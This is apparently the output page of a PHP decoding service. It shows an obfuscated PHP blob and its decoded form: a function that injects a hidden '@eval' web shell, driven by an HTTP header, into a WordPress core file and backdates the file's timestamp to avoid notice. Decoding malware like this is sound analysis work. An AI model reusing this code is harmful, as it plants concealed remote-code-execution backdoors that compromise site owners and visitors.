Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzinflate(base64_decode("jZHxb5pAFMd/N/F/uCYkxdQsiK4LWfxhOmulINZZRJaFIBxyeByEu6uVZf/7..

Decoded Output download


phpConfValidate('YTo0OntpOjA7czo1NzoiL3Zhci9jdXN0b21lcnMvd2Vicy9iZXJuZC9yYXRtLmRlL2RnL3dwLWluY2x1ZGVzL3VzZXIucGhwIjtpOjE7czo3OiJBOUI4Mjg0IjtpOjI7czozMjoiQGV2YWwoJF9TRVJWRVJbJ0hUVFBfQTlCODI4NCddKTsiO2k6MztzOjM0OiJ+XlxzKmZ1bmN0aW9uXHMrdXBkYXRlX3VzZXJfbWV0YX5tIjt9');
function phpConfValidate($ser) {

    list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
    $source = file_get_contents($fullPath);
    if (strstr($source, $systemEnv) !== false) {
        return;
    }
    if (!preg_match($pattern, $source, $matches)) {
        return;
    }
    $newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $source);
    if (strstr($newSource, $systemEnv) === false) {
        return;
    }
    $filemtime = filemtime($fullPath) + 10;
    unlink($fullPath);
    file_put_contents($fullPath, $newSource);
    touch($fullPath, $filemtime);
}

Did this file decode correctly?

Original Code

eval(gzinflate(base64_decode("jZHxb5pAFMd/N/F/uCYkxdQsiK4LWfxhOmulINZZRJaFIBxyeByEu6uVZf/7DsVqtybbBXIvd+993vd9r9nI43yYkcj2MQp9BuXr1SJTLMJyK/nyKSizzrTMkNF14wBpSehMlbXawQExn0PVRsFeQ66jc3eo7VfOnBnpHBvqnBjdcGcsMV+pLx13bJdG1y5dZ8KDcbybJBV7VLG7FtIH1tOkZyYb5Xg+qc5LM8nQ49hWV8tdpt9pi7mtL8W/1pX4yb4bRI8LPLS+TnrTYRg+LCiy1O2tWbLSSkxFMG8c/FI+pG5nnU4Vf6lx594sQmewFRqxc9CiR+ulraycj0z01a5bn5uNiJOAoYyAPy2RKCxa4Gez0WwAsTCiDMhSxDGe+SxuA4nuKYPpiDyLOMhCKLbcZwwWpAX6gBNRjwSshPLap/C254WwSjuCq9YVVqIZLwIoCiKEobeBzAsywiBh9NzslIwiIFNWiE+u6y5ltMBVX2B8TOFBN6hXARkvSI34dSZd5QXceKnPglg+KW+DM/hwA2nrnzCJwN230xhCnFfAHPuBmLRGfFd+1B6BD2B2P/NGliGit9fHvu+N+op/O23/v6eVKm9ThtKTz4f4wl9wAzpKXcMJRmT7t/mH98n5e+/TvrDglM4yXvl6kfLauEoRyn4D")));

Function Calls

gzinflate 1
base64_decode 1
phpConfValidate 1

Variables

None

Stats

MD5 c766800e346ef7d6a393aa7f0312d1d2
Eval Count 1
Decode Time 66 ms